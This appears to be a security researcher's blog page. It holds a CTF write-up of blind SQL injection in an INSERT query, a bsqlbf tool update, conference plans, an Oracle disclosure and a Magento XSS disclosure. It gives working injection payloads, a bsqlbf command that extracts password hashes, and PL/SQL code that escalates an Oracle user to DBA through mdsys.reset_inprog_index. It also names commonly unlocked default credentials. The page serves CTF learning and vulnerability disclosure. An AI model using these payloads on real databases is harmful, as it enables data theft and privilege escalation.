APPSECUSA CTF! Another Write Up

I recently came across the Appsec USA CTF. I must say it was a fantastic CTF and i wish there were more CTFs around application security topics. Well done Appsec team and organizers.

The official write up on how the winners solved the problem can be found here. If you are an appsec personnel then you may want to read the rest of the blog after giving CTF another go.

So, i wish i would have revisited the CTF later and have seen the hints! but anyways, I wanted to share an alternate solution to do the challenge. As it happens, the app has 2 sql injections, one in a select query and another one in Insert query. Obviously, the select query is pretty easy to exploit. Unfortunately, i wasnt clever enough to spot the injection in SELECT query and i worked out the hard way to exploit the insert SQL Injection and you actually don’t need the SELECT SQL injection and you can do everything within INSERT…:-)

here is the pseudo code:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,injection\’)

clearly, the magic quote is enabled, but the injection is in integer, so doesn’t make much difference. You can use the True and Error scenario to exploit this:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end))

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=2) then 1 else 1*(select table_name from information_schema.tables)end))

Obviously you replace (1=1)/(1=2) with the boolean question you will ask the mysql server:

so a query like

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=5 then 1 else 1*(select table_name from information_schema.tables)end))

will not produce an error but a query like this:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=6 then 1 else 1*(select table_name from information_schema.tables)end))

wil go to the else clause and will generate the following error:

Query failed: Subquery returns more than 1 row

So, now you have a standard true and false scenario and every time you see myql error, you have a false response and when you dont see an error you have a true response.

Using bsqlbf (with one slight modification) you can exploit this injection and obtain the password hash for sales user. The command line options i used were(together with burp running on port 8080):

bsqlbf-2.7pl -url “” -blind qty1 -nomatch “failed” -method POST -database 1 -type 2 -cookie “phpsessionid=xxxxxxxxxxxx” -proxy -sql “select password from users where id=2″

Hope it helps..:)

BSQLBF v 2.7

An updated version is now available for download. This supports “-nomatch” switch. The -nomatch switch is exactly opposite of the -match switch, ie, it will look for the supplied unique keyword which only appears in the false page and NOT in true page. Remember, the “-match” looks for a unique string which only appears in true and do not appear in false cases.

The -nomatch switch is particularly useful which carying out injections in the following scenarios:

Injection in insert statement
True and Error Scenario
Injection in order by etc

Download it here

Upcoming Conferences

It has been a long time since i posted something here ; infact, so long that i even forgot the password for the blog :(

So, Just a small update on the things i have got lined up for the upcoming Conferences.

Training: Hacking and Securing Oracle database (2 days)
I am quite excited about jointly holding a training session at this years’s Blackhat with Alexander Kornbrust. The training is ideal for Oracle DBA and Developers. It wont be all about getting shells from back-end database, but we will try to address some more real life problems such as how to manage 1000 instances of back-end database, the built-in Oracle features which can be used to harden the database, some common coding flaws etc. More details including registration details can be found here

Workshop: The Art of Exploiting Lesser Known Injection Flaws
At the Blackhat briefings, me and Aleks (Aleksander Gorkowienko) will be conducting a workshop on some “not very commmon” injection flaws. These are LDAP, XPATH, XML external entity etc. We are still working on this and i will post more details later. In a nutshell there will be loads of challenges, CTF, some prizes to be won (may be!) and loads of fun.

Thats all for me, see you in Vegas!

Oracle CPU Jan 2011

Oracle recently patched a vulnerability which I reported in 2009. The vulnerability was a SQL Injection in procedure mdsys.reset_inprog_index(). This procedure cannot be executed by public and when I reported this to Oracle the response was:

Our analysis shows that this issue cannot be exploited except by a user with DBA privileges.
Based on this analysis, we will not be creating a CPU fix and will close this issue as “Not a Security Bug”.

Interestingly, this procedure is not in SYS or SYSTEM schema but in MDSYS schema. Thus any user with “execute any procedure” privilege will be able to execute/exploit it. Also, MDSYS user does not have the DBA role. So, can you become DBA?

Well, although MDSYS does not have DBA role it has “CREATE ANY TRIGGER” privilege and thus exploiting this will give DBA privileges (indirectly). Here is an example:

lets assume that scott has execute any procedure privilege:

now scott creates a function such as:

create or replace function fn2 return int authid current_user is
pragma autonomous_transaction;
execute immediate 'create or replace trigger "SYSTEM".the_trigger2
before insert on system.OL$ for each row BEGIN SCOTT.Z();
dbms_output.put_line(''aa'');end ;';
return 1;

than scott makes this function executable by public:

grant execute on scott.fn2 to public;

now since scott has execute any procedure privilege, he injects the function created above and make mdsys create a trigger in “system” schema:

mdsys.reset_inprog_index('aa'' and scott.fn2()=1 and ''1''=''1','bbbbb');

Since, public has insert privileges on system.OL$, he does:

insert into system.OL$ (OL_NAME) VALUES ('JOB Done');

this should make the system user execute the function SCOTT.Z() giving scott DBA privileges.
This leaves the question, is getting DBA from “execute any procedure” privilege a big deal? Its not a big deal theoretically, but here is a real life example which i found in quite a few pentests in which i think this vulnerability has been quite handy.

Oracle 10g onwards lock all default accounts and hence the good old pwnage techniques like connecting with system/change_on_install doesnot really work that much anymore. However, one account which I see quite often in un-locked state is OUTLN/OUTLN (I have seen it unlocked even in a few 11g R2). This is not a default behavior but its common to see. These are the accounts which have “EXECUTE ANY PROCEDURE” privilege:

Summary: So, if you come across an Oracle database (11g R1, R2) with one of the above mentioned account in un-locked state, you can use this vulnerability to become DBA. In the end, Oracle decided to patch this and this won’t work anymore after the Jan 2011 patch :(

Magento E-commerce Persistent XSS

In a recent pentest, I identified a critical security flaw within Magento ecommerce solution. The flaw is a ‘text-book’ persistent XSS within the admin console which can be triggered by any malicious “non admin” user. This would result in the compromise of the admin section and we all know what follows from here on.

This is a classical example which shows that the admin functionality is equally important to assess against security vulnerabilities and not just the publicly available website. Just because the admin functionality is restricted to trusted users, you cannot ignore the vulnerabilities and this is even more critical when using an open source software.

We reported this issue to Magento on September 24th and the response from Magento was: “We have investigated and fixed the issue which will be available in the next weekly release and next stable ( and”. Magento didn’t bother to respond to any further emails on when this next “weekly” release will be due and no new version/patch was made available until November 8th when a “preview” version was released and the release notes actually mentions addressing this issue. More details about this issue and the actual vulnerability can be found here.

Magento’s updated version and release notes can be read here. While I understand that this release is not a stable version and upgrading to a preview release may not be the best idea and that some may debate whether this is a responsible disclosure and all that. To be honest, the vendor might have taken a better approach and actually bothered to release a security patch. If i know this issue, then its quite likely someone else knows it too and that it might have been exploited in the wild and so on …

Enough of my ranting. If you are using Magento, UPDATE NOW!!